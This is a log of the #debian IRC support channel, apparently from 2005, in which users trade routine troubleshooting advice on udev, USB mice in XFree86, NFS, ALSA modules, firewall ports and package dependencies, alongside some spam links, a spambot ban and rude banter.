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| 01:41.02 | bandito | in vim, i have the ctermbg color set to '24' in my style and that displays properly once i start vim and load the profile. but for some reason, xterm (256 color version) won't accept 'color24' or '24' as a valid background color when i try to start it with the -bg argument. specifically it says 'Color name 'color24' not defined'. any ideas? |
| 01:41.11 | bob2 | zbrown: not easily |
| 01:41.15 | bob2 | why do you want to go back? |
| 01:41.15 | wk1989 | why? |
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| 01:41.22 | zbrown | bob2: instability issue |
| 01:41.24 | bob2 | clueless: are you using 2.6? |
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| 01:41.43 | wk1989 | it would really scare people. |
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| 01:42.00 | bandito | wk1989: the first time, maybe |
| 01:42.00 | clueless | bob2: yes. but originally it was installed with woody.... |
| 01:42.02 | bob2 | zbrown: if glib is unstable, it really really needs to be reported |
| 01:42.04 | wk1989 | i wanna scare some people.. |
| 01:42.15 | zbrown | bob2: nah, its not from an official repository |
| 01:42.17 | wk1989 | they won't remove me, i know that 4 sure... |
| 01:42.18 | bob2 | wk1989: this is a not a channel to learn to be obnoxious |
| 01:42.19 | loswillios | i want to watch (and restart if necessary) a program (scp with some dynip). is there an easy way? |
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| 01:42.33 | bob2 | clueless: are you using udev or devfs then? |
| 01:42.42 | daww | My USB mouse is working but the pointer jumps around all over the screen, do I have to load some module for this in my compiled 2.6.8 kernel? |
| 01:42.51 | wk1989 | just trying to learn how to get gaim to do something i want it do |
| 01:43.03 | wk1989 | i'm also very curious about this script and how it works |
| 01:43.08 | wk1989 | that's why i'm looking for it |
| 01:43.31 | clueless | bob2: I dont's know... but I am not using gnome so I am guessing I am not using udev????? |
| 01:43.34 | nevyn | daww: did you build input? |
| 01:43.44 | bob2 | clueless: you can use udev without gnome |
| 01:43.44 | ws[7c0] | for some reason, i don't know where my usb drive is under /dev (it gets detected and I can see it under /proc/scsi/usbstorage |
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| 01:43.57 | bob2 | wk1989: look in /var/log/messages |
| 01:43.57 | daww | nevyn, ? input, where should I look in xconfig? |
| 01:44.17 | LeBear | this new partitioning system is so slow compared to fdisk or cfdisk. |
| 01:44.23 | jstevens | wk1989: sounds like an away message... |
| 01:44.33 | clueless | bob2: how can I check if I am using udev? (I never explicitly installed anything called udev...) |
| 01:44.33 | bob2 | LeBear: yeah, known problem :/ |
| 01:44.39 | bob2 | zbrown: apt-cache policy packagename |
| 01:44.51 | bob2 | zbrown: you can install another avilable version with: apt-get install libglib=1.2.3 |
| 01:45.10 | bob2 | clueless: ls -l /dev/.udev.tdb |
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| 01:45.18 | wk1989 | smart! |
| 01:45.24 | wk1989 | an away message would do it |
| 01:45.31 | bob2 | loswillios: while true ; do scp blah lah ; sleep 30s ; done |
| 01:45.52 | wk1989 | wait, a sec, an away message only sends if that person sends me a message first, no? |
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| 01:46.40 | loswillios | thx bob2 |
| 01:47.21 | Jacco | ;o |
| 01:47.23 | Jacco | lol. |
| 01:47.25 | bob2 | udev is pretty new |
| 01:47.29 | bob2 | ie last two years |
| 01:47.30 | jstevens | wk1989: I thought you wanted to respond to someone messaging you? |
| 01:47.30 | Jacco | ah. |
| 01:47.36 | clueless | bob2: no such file.... |
| 01:47.53 | doneill | so is windows 2k3 |
| 01:48.02 | bob2 | clueless: then you're not using it |
| 01:48.03 | doneill | get recertified :\ |
| 01:48.04 | dvs | clueless: Do you have a /.dev directory? |
| 01:48.13 | doneill | linex 2.6.11 certified :D |
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| 01:48.28 | dvs | doneill: So late? ;-) |
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| 01:48.35 | doneill | hehe |
| 01:48.36 | clueless | dvs: no such directory... |
| 01:48.46 | bob2 | clueless: cd /dev/ ; MAKEDEV |
| 01:48.47 | dvs | clueless: You're probably not using it |
| 01:48.51 | wk1989 | no |
| 01:49.11 | wk1989 | i want it to say something, BEFORE she completes typing her |
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| 01:49.21 | bob2 | wk1989: #gaim |
| 01:49.27 | bob2 | this is off-topic, stupid *and* annoying |
| 01:49.34 | bob2 | which is an impressive triple-play |
| 01:49.38 | wk1989 | ok |
| 01:49.41 | libpcp | bob2: so it is possible to set a sata drive to be a pata-mode? |
| 01:49.47 | bob2 | libpcp: check your bios |
| 01:49.48 | jstevens | wk1989: listen to bob2 |
| 01:50.03 | libpcp | bob2: ah it on the bios |
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| 01:51.02 | directhex | libpcp, only with ICH6, if memory serves |
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| 01:51.20 | Gumby | any NFS users in here. I have an nfs share and I can do touch newfile in that share and the file gets created. But when trying to copy or move any files over it just hangs with no errors on either the client or host side that I can find. |
| 01:51.33 | directhex | or ICH5R |
| 01:52.00 | doneill | Gumby, regardless of size? |
| 01:52.25 | Gumby | doneill: yes |
| 01:52.40 | Gumby | permissions seem to be correct, after all.. I was able to create the first file |
| 01:53.37 | clueless | are there document like 'udev and devfs for dummies' somewhere? |
| 01:53.49 | bob2 | yes |
| 01:53.52 | dvs | clueless: Don't even bother with devfs |
| 01:53.56 | bob2 | devfs: don't use it anymore, it was a bad idea |
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| 01:54.02 | doneill | UDev For Drooling Cretins |
| 01:54.04 | LeBear | should dummies really be using devfs or udev? |
| 01:54.15 | bob2 | udev: install the udev package, and the kernel will make device nodes in /dev/ as they actually appear. don't manually fiddle with it. |
| 01:54.24 | bob2 | that's about it |
| 01:54.30 | dvs | bob2: Isn't there also a kernel element to ti? |
| 01:54.38 | clueless | LeBear : there is a book titles 'Programming Career for Complete Idiots'.... |
| 01:54.48 | Gumby | /storage/tv/buffer 192.168.1.0/255.255.255.0(rw,async,all_squash,anonuid=1000,anongid=1000) | drwxr-xr-x 2 terry terry 4096 2005-03-03 17:47 buffer/ (terry is UID/GID=1000) | 192.168.1.200:/storage/tv/buffer /cache/cache nfs user,auto,rsize=8192,wsize=8192,hard,intr,nfsvers=3 |
| 01:54.55 | directhex | well. some intervention is needed in the case of mdadm devices |
| 01:54.56 | Gumby | does any of that look incorrect? |
| 01:55.00 | LeBear | clueless: I've seen enough professional code to believe it. |
| 01:55.01 | bob2 | dvs: it piggybacks on the kernel hotplug system |
| 01:56.27 | clueless | so devfs is old style /dev on good old *ix? |
| 01:56.36 | dvs | clueless: no |
| 01:58.00 | doneill | it was a hiccup in linux 2.4 |
| 01:58.50 | LeBear | devfs was what they tried to implement when no one could think of something better.. or a reason why they shouldn't. |
| 01:58.57 | Myren | wow, if my DSL gets much faster i'll need better wireless. i get about 600 KB/s from 802.11b |
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| 01:59.34 | doneill | i use G |
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| 02:00.08 | Myren | my router supports G with speedbooster |
| 02:00.26 | Myren | i'm going to have to get different PCMCIA cards though. which is almost sad caue i like these aironets. |
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| 02:01.14 | LeBear | get two wireless cards and bond them :) |
| 02:01.26 | WE_R_DNA | I want to download all of the Soho images they have from 1996 |
| 02:01.31 | WE_R_DNA | the site http://sohodata.nascom.nasa.gov/cgi-bin/gui |
| 02:01.37 | WE_R_DNA | has to make you choose certaint hings to look up |
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| 02:01.53 | WE_R_DNA | how do I find the archieve with all the files so I can wget and download them all |
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| 02:02.16 | bob2 | WE_R_DNA: sounds like a question for NASA |
| 02:02.28 | WE_R_DNA | Nasa is hiding their information |
| 02:02.31 | WE_R_DNA | :( |
| 02:03.12 | bob2 | aw |
| 02:03.16 | LeBear | send them an email saying you wish to purchase their soho database.. |
| 02:03.21 | LeBear | I'm sure they'll respond.. |
| 02:03.57 | wudy | Hi, i run some deamon, but after some minute, hours or day depending, the server is not reachable by my internet ip, only from my local ip, i dont change anything to my router firewall, well its strange because when a launch a deamon that work for some hours.. i've read the log of each deamon nothing to say |
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| 02:04.26 | Myren | is $PATH evaluted in any order? |
| 02:04.29 | nix000 | is there a way i can fore a pkg to reinstall itself ? |
| 02:04.32 | LeBear | that was... vague.. |
| 02:04.37 | bob2 | Myren: front to back |
| 02:04.41 | LeBear | Myren: start to finish.. front to end. |
| 02:04.42 | daww | How do I configure XFree86 with evdev? |
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| 02:05.30 | Myren | ah crap, my shell only has the old executable cached. |
| 02:05.35 | pythonYO | hey- how do i set my debian box to a static IP? |
| 02:05.40 | Myren | thus begins the four minute restart of monodevelop |
| 02:05.42 | LeBear | nix000: doesn't dpkg have a --reinstall option? |
| 02:05.43 | pythonYO | i have been using #dhclient |
| 02:05.43 | cafuego | pythonYO: man 5 interfaces |
| 02:05.48 | pythonYO | but i need static now |
| 02:06.10 | bob2 | Myren: rehash or hash -r |
| 02:06.11 | elephantman | I am trying to use "mkrescue --iso" to burn the .iso file with another computer - I HAVE this error : ""Fatal: '/dev/' is not a whole disk device |
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| 02:06.16 | Myren | i setup interfaces for my laptop, it rocks sooo hard. i can ifup any config i want. |
| 02:06.26 | elephantman | Any idea ? |
| 02:06.35 | nix000 | LeBear: iwas looking at apt-get |
| 02:06.46 | clueless | pythonYO : try catting /etc/interfaces and take a good guess at it.... |
| 02:06.46 | cafuego | elephantman: You're missing a parameter. |
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| 02:07.12 | jstevens | I know "last" gives you the logins for the months... what gives the failed-login-attempts ? |
| 02:07.14 | LeBear | poo. I can't remember my gallery password.. |
| 02:07.21 | elephantman | cafuego: it says in "man mkrescue" that "mkrescue --iso" is enough |
| 02:07.22 | bob2 | jstevens: /var/log/auth.log |
| 02:07.24 | NaRCoT | Hi, I have Unmet dependencies on some pkgs I want to install. How Do I fix them ? |
| 02:07.35 | cafuego | elephantman: Clearly it isn't. |
| 02:07.37 | bob2 | NaRCoT: complain to whoever made the package |
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| 02:08.19 | jstevens | bob2: cool ... I need to remember in the future not to simply cat that file... that was a lot of text that just flew by. |
| 02:08.26 | NaRCoT | bob2: Gnome... but I remember someone gave me a command for fixing dependencies... |
| 02:08.35 | Kamakazi | www.peoplesprimary.com/FreedomIsntFree |
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| 02:08.55 | bob2 | NaRCoT: apt-get -f install |
| 02:09.04 | bob2 | NaRCoT: but that won't help if the problem is the dependencies not existing |
| 02:09.15 | ws[7c0] | if i have a /proc/bus/usb device entry, how do i find out what it gets put under /dev? |
| 02:09.28 | bob2 | ws[7c0]: /var/local/messages |
| 02:09.29 | bob2 | er, log |
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| 02:09.48 | abrocadabro | bob2: any ideas how to bring up a jabber server? |
| 02:09.58 | abrocadabro | for postal |
| 02:10.06 | ws[7c0] | k |
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| 02:10.45 | Kamakazi | www.peoplesprimary.com/FreedomIsntFree |
| 02:10.53 | NaRCoT | When I run 'aptitude dist-upgrade' and I get an error: 'gtk-WARNING **: cannot open display: at /usr/share/perl5/debconf/frontend/gnome.pm line 47 <>line 2. what should I do to make it work ? |
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| 02:10.57 | elephantman | cafuego: i really don't understand - Everthing says my command is ok |
| 02:11.09 | elephantman | cafuego: well except the app return msg |
| 02:11.31 | *** mode/#Debian [+o bob2] by ChanServ |
| 02:11.37 | *** mode/#Debian [+b *!*@atlnga1-ar4-4-41-029-198.atlnga1.dsl-verizon.net] by bob2 |
| 02:11.37 | cafuego | elephantman: <heh> |
| 02:11.38 | *** mode/#Debian [-o bob2] by bob2 |
| 02:11.40 | bob2 | what a retard |
| 02:11.51 | ws[7c0] | ah crap, i deleted the messeges file (it was huge), i figured the syslogger would start a new one, is there anyway to reset the service? |
| 02:11.57 | abrocadabro | bob2: me? |
| 02:11.59 | cafuego | bob2: oi, I'm _right_ _here_! |
| 02:12.08 | daww | How do I configure the mouse in XFree86? |
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| 02:12.28 | MobyTurbo | bob2: it seems that spam bots have discovered freenode :-( |
| 02:12.31 | bob2 | abrocadabro: apt-cache search jabber server |
| 02:12.31 | shaggs | does anyone know where i can get wmv codecs for totem? |
| 02:12.39 | bob2 | MobyTurbo: they've been doing it for six months |
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| 02:12.42 | bob2 | shaggs: marillat.free.fr |
| 02:12.45 | Mit2 | <PROTECTED> |
| 02:12.46 | bob2 | also, totem is shit |
| 02:12.47 | abrocadabro | bob2: I did all that, |
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| 02:12.53 | bob2 | moron |
| 02:12.53 | MobyTurbo | bob2: it doesn't seem that long. |
| 02:12.54 | clueless | daww : look for 'debian references' |
| 02:12.57 | shaggs | what media player should i use? |
| 02:13.04 | bob2 | shaggs: xine or mplayer |
| 02:13.09 | cafuego | bob2: Swift justice today ;-) |
| 02:13.29 | bob2 | spambots shouldn't come by when I'm annoyed ;) |
| 02:13.39 | daww | clueless, where, is there some documents thats in debian? |
| 02:13.51 | cafuego | They can't help it Johnny H won the election... |
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| 02:14.24 | clueless | daww : www.debian.org/doc |
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| 02:14.45 | Jacco | Hi. |
| 02:15.05 | clueless | daww : it's the most useful thing ppl like you and me |
| 02:15.35 | green_earz | daww: you use dpkg-reconfigure xserver-xfree86 to set mouse |
| 02:15.47 | cafuego | See also /usr/share/doc/<packagename> |
| 02:16.15 | green_earz | daww: you can |
| 02:16.30 | NaRCoT | Is there a way to get rid of this next Error I get trying to use 'apt-get' or 'aptitude': debconf: unable to initialize frontend:' ? |
| 02:16.39 | bob2 | NaRCoT: sudo dpkg-reconfigure debconf |
| 02:16.42 | bob2 | choose dialog |
| 02:16.46 | vonguard | any shorewall masters? |
| 02:17.01 | bob2 | no |
| 02:17.03 | bob2 | but I use it |
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| 02:17.20 | vonguard | ok, so i'm punching a hole for cups |
| 02:17.24 | cafuego | No, but I tweak iptables by hand. |
| 02:17.24 | vonguard | port 631 |
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| 02:17.39 | vonguard | seems still to be blocking |
| 02:17.55 | vonguard | do i need to put in 631,cups ? |
| 02:18.03 | bob2 | no |
| 02:18.07 | bob2 | just the port |
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| 02:18.18 | vonguard | hrmph.... |
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| 02:18.24 | vonguard | does cups use any other ports? |
| 02:18.29 | vonguard | 631,http ? |
| 02:18.33 | NaRCoT | bob2: OK, It's working ! thanks... |
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| 02:18.48 | cafuego | Cups normally doesn't use port 80. |
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| 02:19.04 | cafuego | it may use the lpd/lpr port 515 I think |
| 02:19.18 | daww | Which of these is USB mouse port "dev/psaux, dev/input/mice, dev/atibm, dev/sunmouse, dev/gpmdata"? |
| 02:19.22 | elephantman | why nothing is just working with simplicity |
| 02:19.27 | cafuego | /dev/input/mice, |
| 02:19.27 | bob2 | daww: the second one |
| 02:19.30 | bob2 | elephantman: does for me |
| 02:19.30 | vonguard | oh yeah |
| 02:19.33 | vonguard | lpd... |
| 02:19.40 | cafuego | daww: Note the / at the beginning |
| 02:19.40 | daww | bob2, ok, thank you |
| 02:20.07 | daww | cafuego, I know, I'm just in a hurry |
| 02:20.16 | green_earz | vonguard: webmin is help full with shorewall |
| 02:20.32 | clueless | apt usb mouse |
| 02:20.33 | apt | well, usb mouse is "MAKEDEV input", or apt-get install kernel-doc-`uname -r` && zless /usr/share/doc/kernel-doc-`uname -r`/Documentation/usb/input.txt.gz or ask me about "usbmouse" |
| 02:20.57 | clueless | apt usbmouse |
| 02:20.59 | apt | To use a USB mouse, do the following: [1] get a kernel with USB, USB mouse and input/HID support; standard Debian kernels have all this. [2] cd /dev && MAKEDEV usb && MAKEDEV input [3] apt-get install usbmgr or hotplug (or if that fails, modprobe hid and mousedev by hand); it should beep at you when USB devices are (un)plugged. [5] use imps2 protocol and ... |
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| 02:21.30 | C17H21NO4 | I have a problem with alsa. When it boots alsa does not work, the device nodes are there and permissions are correct. It works fine if I run alsaconfig, but the settings are lost on boot. |
| 02:22.15 | dvs | C17H21NO4: Do you have alsa-utils installed? |
| 02:22.23 | C17H21NO4 | yes |
| 02:22.49 | dvs | C17H21NO4: What kernel module are you using for sound? |
| 02:22.54 | LeBear | laters |
| 02:23.12 | C17H21NO4 | snd-intel8x0 |
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| 02:23.21 | dvs | C17H21NO4: Is it loaded at start up? |
| 02:23.42 | C17H21NO4 | yes |
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| 02:24.37 | C17H21NO4 | I checked lsmod before and after running alsaconfig and the same modules are loaded, but on one of them the used count is one higher |
| 02:25.00 | dvs | C17H21NO4: Save lsmod to two files and do a diff. |
| 02:25.35 | Jacco | Hi. |
| 02:25.44 | Jacco | How would I enable color in my shell? |
| 02:25.56 | bob2 | there's nothing to enable |
| 02:26.01 | Maliuta | ls --color=auto |
| 02:26.01 | bob2 | you configure whatever to do whatever |
| 02:26.05 | Jacco | Well, it's black and white. |
| 02:26.06 | Jacco | okay. |
| 02:26.14 | bob2 | if you want ls to do colors, 'alias ls="ls --color=auto"' |
| 02:26.15 | Jacco | thank j00 |
| 02:26.20 | bob2 | if you want a color prompt, configure that |
| 02:26.25 | Jacco | can I make it do that by default? |
| 02:26.34 | Jacco | And can I make the actual shell be colors? |
| 02:26.51 | bob2 | "the actual shell"? |
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| 02:27.09 | Maliuta | read the manpage for the shell and the terminal emulator you are using |
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| 02:27.31 | Jacco | bob2: the thing with the user name, # and blinking cursor. |
| 02:27.42 | NaRCoT | How do I remove pkgs with 'rc' on the 'dpkg -l' ? |
| 02:27.43 | Jacco | Blech. |
| 02:27.44 | bob2 | that's the prompt |
| 02:27.50 | bob2 | yes, you can customise it to do whatever you want |
| 02:27.55 | bob2 | NaRCoT: dpkg -P blah |
| 02:27.58 | tomb0y | !faq |
| 02:27.58 | dpkg | The #debian FAQ is at http://www.linuks.mine.nu/debian-faq-wiki/ |
| 02:28.03 | tomb0y | read that NarCot |
| 02:28.31 | clueless | Jacco: look for doc named bash prompt howto.... |
| 02:28.42 | Jacco | okay. |
| 02:28.44 | Jacco | thankz. |
| 02:28.59 | C17H21NO4 | dvs: Is there a switch for diff so that it doesn't care what lines they are on just so that it is in the file somewhere? |
| 02:29.01 | NaRCoT | bob2: thanks again :) |
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| 02:29.31 | elephantman | When running "mkrescue" i got this : "mount: Could not find any loop device...blablabla" |
| 02:29.32 | dvs | C17H21NO4: You can try tkdiff if you use X |
| 02:29.44 | elephantman | Well "mkrescue --iso" |
| 02:30.30 | dondelelcaro | C17H21NO4: you mean --minimal or something? |
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| 02:31.34 | daww | Ok now I have configured the mouse with /dev/input/mice, the USB mouse connects (the red diode is shinging) but ain't working, but the PS/2 mouse work when I plug it, what can I do? |
| 02:31.57 | bob2 | you need to explain "ain't working" |
| 02:32.00 | bob2 | since it obviously is |
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| 02:32.06 | clueless | apt usbmouse |
| 02:32.07 | apt | To use a USB mouse, do the following: [1] get a kernel with USB, USB mouse and input/HID support; standard Debian kernels have all this. [2] cd /dev && MAKEDEV usb && MAKEDEV input [3] apt-get install usbmgr or hotplug (or if that fails, modprobe hid and mousedev by hand); it should beep at you when USB devices are (un)plugged. [5] use imps2 protocol and ... |
| 02:32.08 | bob2 | perhaps you mean "but X doesn't make use of it" |
| 02:32.09 | dvs | daww: You probably need a "SendCoreEvents" entry in your XF86Config-4 file |
| 02:32.25 | C17H21NO4 | dondelelcaro: Maybe? :) The lines changed position, but I only care if the lines changed I don't care where in the file they are |
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| 02:33.43 | dondelelcaro | C17H21NO4: then you don't want to just use diff. Use sort, then use diff. |
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| 02:34.02 | xk | do I need to enable ISA for winbond sensors chipset? |
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| 02:35.26 | xk | erp erp erp |
| 02:35.38 | dvs | excuse yourself ;-) |
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| 02:36.08 | C17H21NO4 | dondelelcaro: Perfect |
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| 02:37.12 | xk | now to make my system bootable. |
| 02:37.29 | C17H21NO4 | dvs: Here is my diff. |
| 02:37.31 | C17H21NO4 | < snd_intel8x0 36460 2 |
| 02:37.31 | C17H21NO4 | --- |
| 02:37.31 | C17H21NO4 | > snd_intel8x0 36460 1 |
| 02:37.31 | C17H21NO4 | 52c52 |
| 02:37.31 | C17H21NO4 | < snd_pcm_oss 55080 1 |
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| 02:37.45 | Biovore | hehe |
| 02:37.47 | xk | C17H21NO4: use diff -u |
| 02:37.53 | dvs | C17H21NO4: You're still using OSS sound |
| 02:38.03 | dondelelcaro | dvs: that's alsa, actually |
| 02:38.08 | bob2 | god |
| 02:38.10 | C17H21NO4 | > soundcore 10336 2 snd |
| 02:38.14 | dvs | C17H21NO4: But he's still using emulation |
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| 02:38.45 | dondelelcaro | dvs: sure, nothing wrong with OSS emulation |
| 02:38.46 | stew | !tell C17H21NO4 about flood |
| 02:38.47 | clueless | what is that +o -o about??? |
| 02:39.01 | bob2 | clueless: only channel operators can remove people fro mthe channel |
| 02:39.10 | bob2 | clueless: so my client op'd me, removed, then deoped |
| 02:39.12 | dvs | dondelelcaro: That's true but whatever application C17H21NO4 is using is still using OSS |
| 02:39.42 | dvs | C17H21NO4: Add snd-pcm-oss to your /etc/modules file and you should be fine |
| 02:39.49 | daww | dvs, ok, so I should add: Option "SendCoreEvents" "yes" under: Configured Mouse in XF86Config-4? |
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| 02:40.43 | ws[7c0] | hmn, i rebooted my machine, and this is the the tail of message: Mar 3 18:36:13 xoleras usb.agent[2712]: usb-storage: loaded successfully |
| 02:40.43 | ws[7c0] | Mar 3 18:36:18 xoleras kernel: Vendor: Apple Model: iPod Rev: 2.70 |
| 02:40.43 | ws[7c0] | Mar 3 18:36:18 xoleras kernel: Type: Direct-Access ANSI SCSI revision: 04 |
| 02:40.43 | ws[7c0] | Mar 3 18:36:18 xoleras scsi.agent[2864]: disk at /devices/pci0000:00/0000:00:1e.0/0000:02:0e.2/usb1/1-3/1-3:1.0/host0/target0:0:0/0:0:0:0 |
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| 02:40.54 | FieldySnuts | ass |
| 02:40.57 | Dossy | grr. |
| 02:40.58 | xk | there we go. sensors! |
| 02:41.00 | Dossy | sometimes, i hate debian packaging |
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| 02:41.06 | ws[7c0] | sorry |
| 02:41.12 | Dossy | why the HELL does the squid-cgi package depend on webmin. GRRR. |
| 02:41.24 | C17H21NO4 | dvs: It's already in there |
| 02:41.24 | dvs | daww: You should have a second pointer section and specify it as "SendCordEvents" and not "CorePointer" |
| 02:41.35 | C17H21NO4 | alias sound-service-0-3 snd-pcm-oss |
| 02:41.40 | sanxiyn | Dossy: Huh? |
| 02:41.49 | dvs | C17H21NO4: No, /etc/modules not /etc/modules.conf |
| 02:41.54 | Flimzy | Woot! I think I fixed my volotile PPP connection... lcp-echo-failure 100000 did it |
| 02:42.25 | sanxiyn | Dossy: It doesn't... |
| 02:42.49 | Dossy | sanxiyn: yes, it does. |
| 02:42.50 | Dossy | # apt-cache show squid-cgi | grep Depends: |
| 02:42.50 | Dossy | Depends: webmin-squid | httpd, libc6 (>= 2.3.2.ds1-4), debconf |
| 02:43.02 | C17H21NO4 | dvs: Not that I don't believe you, but what will that do for me. Isn't it being loaded? |
| 02:43.06 | Flimzy | Dossy: that saysit depends on webmin-squid, not squid-cgi |
| 02:43.17 | Dossy | flimzy: I *WANT* squid-cgi |
| 02:43.21 | Flimzy | Dossy: And even there, it's that or httpd |
| 02:43.21 | dvs | C17H21NO4: yes |
| 02:43.33 | Dossy | flimzy: but, squid-cgi *DEPENDS* on webmin-squid (which, in turn, depends on webmin) - DUMB. |
| 02:43.33 | sanxiyn | Dossy: It's alternative dependency. |
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| 02:43.58 | Dossy | and, apt-get needs a "download" command that ignores dependencies. |
| 02:44.00 | Flimzy | Dossy: It depends on webmin-squid *or* httpd |
| 02:44.06 | Flimzy | Dossy: Which kinda makes sense |
| 02:44.08 | Dossy | flimzy: OK, still - that's dumb. |
| 02:44.15 | Flimzy | Dossy: Having a CGI script with no httpd is what's dumb |
| 02:44.18 | Dossy | flimzy: since there's no metapackage that provides: httpd |
| 02:44.24 | Flimzy | Dossy: It's not dumb. It makes perfect sence. |
| 02:44.28 | sanxiyn | Dossy: File a bug, but I guess it's not as dumb as you think. |
| 02:44.30 | Dossy | flimzy: what if you build your own httpd and don't use a debian package that provides: http? |
| 02:44.34 | dvs | C17H21NO4: "alias sound-service-0-3 snd-pcm-oss" should not be in /etc/modules |
| 02:44.49 | Dossy | i guess i really want a fake-httpd package |
| 02:44.55 | Dossy | something that just provides: httpd |
| 02:44.55 | Flimzy | Dossy: Any httpd should provide httpd. I know apache and boa do. |
| 02:44.57 | sanxiyn | Dossy: Ah... |
| 02:44.58 | Haruko | !xwontstart |
| 02:45.01 | daww | dvs, ok, now I've changed: Option"CorePointer" to: Option"SendCoreEvents" is this correct? |
| 02:45.05 | sanxiyn | Flimzy: Dossy built his own httpd. |
| 02:45.07 | Dossy | flimzy: I run AOLserver and I don't use the AOLserver .deb |
| 02:45.07 | C17H21NO4 | dvs: just snd-pcm-oss right |
| 02:45.09 | dvs | daww: NO |
| 02:45.12 | Haruko | hmm which is the bot? |
| 02:45.12 | Flimzy | sanxiyn: ahh |
| 02:45.13 | dvs | C17H21NO4: yes |
| 02:45.16 | Dossy | sanxiyn: right. |
| 02:45.24 | Flimzy | Dossy: Then create an empty package that provides httpd |
| 02:45.26 | Dossy | even if I were to run Apache, I'd build it from source and not use the .deb |
| 02:45.34 | sanxiyn | Yes, installing built-from-source thing in Debian can be cumbersome. |
| 02:45.34 | C17H21NO4 | dvs: What will that do? |
| 02:45.36 | Dossy | So, all the packages that Depends on "httpd" really annoy me. :-) |
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| 02:45.46 | Flimzy | Dossy: You can build from source *and* use the Deb... like all intelligent Debian users do. |
| 02:45.48 | sanxiyn | Dossy: I guess creating fake-httpd with "equiv" is your best bet. |
| 02:45.57 | stew | Dossy: /msg dpkg equivs |
| 02:45.58 | dvs | daww: Add another pointer section and add it to the ServerLayout section as SendCordEvents |
| 02:46.02 | Flimzy | Dossy: If you're going to break Debian on purpose, you hardly have any room to complain. |
| 02:46.03 | sanxiyn | s/equiv/equivs/ |
| 02:46.08 | Dossy | there needs to be an apt.conf setting for "Provides" where you can list packages that you want the dpkg system to think are already provided even though there's no package installed that Provides them |
| 02:46.08 | dvs | C17H21NO4: Load the OSS emulation for ALSA |
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| 02:46.18 | stew | Dossy: /msg dpkg equivs |
| 02:46.22 | Dossy | ooh! |
| 02:46.24 | Dossy | stew: thanks. |
| 02:46.31 | Dossy | *** dpkg: No such nick/channel |
| 02:46.32 | Dossy | :) |
| 02:46.33 | Thanatermesis | :OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO |
| 02:46.35 | Thanatermesis | http://www1.tiendalinux.com/cgi-bin/tienda2lx/db30r.html?mv_pc=146 |
| 02:46.39 | stew | ~equivs |
| 02:46.40 | apt | rumour has it, equivs is a package that enables you to create dummy packages that tell dpkg you really have installed (through some other means) the package. apt-get install equivs, and read /usr/share/doc/equivs/* |
| 02:46.42 | Dossy | apt-cache show equivs works :) |
| 02:46.45 | dvs | C17H21NO4: Your applcation is still using OSS interface |
| 02:46.47 | elephantman | fucking linux systems |
| 02:46.51 | Thanatermesis | debian 49.900 $ ?????????? |
| 02:46.56 | Flimzy | Dossy: You should also consider using .debs in the future. |
| 02:47.15 | C17H21NO4 | dvs: Isn't that module already loaded? |
| 02:47.19 | sanxiyn | Flimzy: Well, not really. There are valid reasons to build from source, and that's why we have equivs. |
| 02:47.37 | dvs | C17H21NO4: The stuff in /etc/modules.conf is NOT automatically loaded |
| 02:47.39 | sanxiyn | equivs Description: Circumvent Debian package dependencies. :( |
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| 02:47.56 | Flimzy | sanxiyn: Yeah, there are some. Most of them are met with source debs, too. |
| 02:47.59 | necrite | hi all |
| 02:47.59 | C17H21NO4 | dvs: But it is in both lsmod's |
| 02:48.32 | dvs | C17H21NO4: It was? No according to what you posted here. |
| 02:48.46 | necrite | any one here compile vmware in one amd 64 kernel 2.6.8-10-amd64-k8 ?? |
| 02:49.11 | Dossy | <PROTECTED> |
| 02:49.14 | Dossy | ooh, that's handy :) perfect :) |
| 02:49.16 | clueless | vmware is available in source format???? |
| 02:49.41 | necrite | clueless jaja sorry .. the modulles :P .. |
| 02:50.02 | Maliuta | the clients and stuff are aswell |
| 02:50.03 | C17H21NO4 | dvs: It is listed in the lsmod in both, but in the before snapshot it is in use by 0 |
| 02:50.15 | Dossy | thanks everyone :) |
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| 02:50.20 | Dossy | equivs. awesome package. |
| 02:50.37 | Dossy | it's not as easy as just saying "fake provides httpd" but it works :) |
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| 02:51.06 | C17H21NO4 | dvs: and snd_intel8x0 is in use by 2/3 before/after |
| 02:51.22 | daww | dvs, In the ServerLayout I've changed: InputDevice"Configured Mouse" to: InputDevice"Configured Mouse" "SendCordEvents", correct? |
| 02:51.33 | dvs | C17H21NO4: No, don't change that |
| 02:51.36 | dvs | C17H21NO4: Add another line |
| 02:52.02 | dvs | C17H21NO4: Oops! I meant daww |
| 02:52.09 | dvs | Sorry |
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| 02:52.36 | dvs | daww: Leave the CorePointer line alone and add A SendMouseEvents line |
| 02:53.14 | dvs | C17H21NO4: so the only difference is that the count is different? |
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| 02:54.07 | jstevens | question: looking through the auth.log... what would cause me to have 30 or 40 entries in a row that look like "Mar 3 13:47:30 solid sshd[4659]: Could not reverse map address 202.64.77.75." ? |
| 02:54.24 | bob2 | jstevens: it means what it says |
| 02:54.32 | bob2 | jstevens: it tried to lookup the reverse dns for that ip, and failed |
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| 02:55.02 | jstevens | bob2: that I know.. but why would it be trying to lookup the reverse dns? |
| 02:55.23 | C17H21NO4 | dvs: Yes, for snd_intel8x0, snd_pcm_oss, and soundcore. 2:1, 1:0, 3:2 respectively |
| 02:55.57 | Flimzy | jstevens: Because it was told to in the configuration file. |
| 02:55.59 | dvs | C17H21NO4: That's weird |
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| 02:55.59 | jstevens | bob2: I'd understand if there was a ssh request... but why would it say that it's trying to lookup that IP 30 times straight w/o anything else inbetween? |
| 02:56.01 | BillBill | Hey, guys.. Check this websit out for me, not sure if it works http://tinyurl.com/5aaxq |
| 02:56.24 | Flimzy | jstevens: That's a very basic security measure |
| 02:56.25 | C17H21NO4 | dvs: That must be 1:2, 0:1, 2:3 |
| 02:56.34 | Flimzy | jstevens: If the reverse and forward DNS mappings don't match, it means someone is doing something bad, and you probably don't want them connecting to your box |
| 02:56.48 | bob2 | jstevens: no one was trying to login then? |
| 02:56.53 | jstevens | Flimzy: right, I'm clear on that part |
| 02:57.02 | dvs | C17H21NO4: Maybe it's the order: first soundcord, then snd_intel8x0, then snd_pcm_oss |
| 02:57.02 | Flimzy | jstevens: (It also means they're a moron for not being a smarter 'hacker') |
| 02:57.05 | jstevens | bob2: that's why I dont' understand it |
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| 02:57.21 | dvs | dvs: C17H21NO4 Put it in that order |
| 02:57.23 | Flimzy | jstevens: So what's the confusion? |
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| 02:57.42 | C17H21NO4 | dvs: In /etc/modules |
| 02:57.45 | C17H21NO4 | ? |
